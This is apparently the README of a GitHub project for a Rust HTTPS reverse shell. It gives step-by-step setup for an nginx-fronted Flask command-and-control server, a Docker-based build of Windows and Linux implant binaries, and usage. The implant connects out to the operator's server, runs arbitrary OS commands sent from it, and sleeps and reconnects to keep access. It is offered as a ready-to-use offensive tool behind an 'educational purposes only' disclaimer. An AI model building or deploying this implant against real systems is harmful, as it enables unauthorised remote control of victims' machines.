RustHTTPSShell

Tested docker build in kali.

FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY!

Requirements and preperation:

1. NGINX on the host: https://nginx.org/en/linux_packages.html
2. python3 and venv on the host: https://virtualenv.pypa.io/en/latest/installation.html
3. Back up the existing nginx.conf file.
4. Move the nginx.conf file from this repo into /etc/nginx/nginx.conf.
5. Create a key and certificate: It's generally recommended to avoid self-signed certificates. Only do this for using in a test environment.

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:4096 -nodes -sha256

6. Place the pem file in /etc/nginx/cert/server.pem.
7. Create a virtual environment for the C2 server:

mkdir controlServer
mv app.py controlServer/
python3 -m venv controlServer
cd controlServer
source bin/activate
pip3 install colorama flask
flask run

Setup:

1. Run docker build in directory with Dockerfile:

docker build .

2. Run container (use -v flag to mount directories as desired):

docker run -di [imageID]

3. Enter container:

docker exec -ti [containerID] /bin/bash

4. From within container, Clone repo:

git clone https://github.com/Business1sg00d/RustHTTPSShell.git /opt/RustHTTPSShell
cd /opt/RustHTTPSShell

5. From within container, add windows support:

rustup target add x86_64-pc-windows-gnu

6. If you want to change the sleep time in seconds, go into the .rs files and change the following parameters:

alarmClock::standBy(int)

Replace the "int" with whatever time you want. This will tell the shell to sleep for those seconds. Command explanation further below.

Building from within container:

When building for windows use:

cargo build --target x86_64-pc-windows-gnu --bin main_windows

For linux use:

cargo build

Binaries are in "target" directory from within project directory

Usage:

For both Windows and Linux version:

.\binary.exe [Your_Server_IP] [Your_Server_port}
./binary [Your_Server_IP] [Your_Server_port}

You should see a prompt in the flask server terminal. It expects the following options:

"Enter initialization option: "

Enter "1" to begin typing arbitrary OS commands such as "dir" or "powershell Get-Service".
Enter "2" to end the session and tell the shell to "sleep". After the time expires, the shell will attempt to reconnect to your server.

When entering "1" to get the command, you should see the following:

Enter command: 

You can also enter "2" in this "Enter command: " state that will sleep like explained above.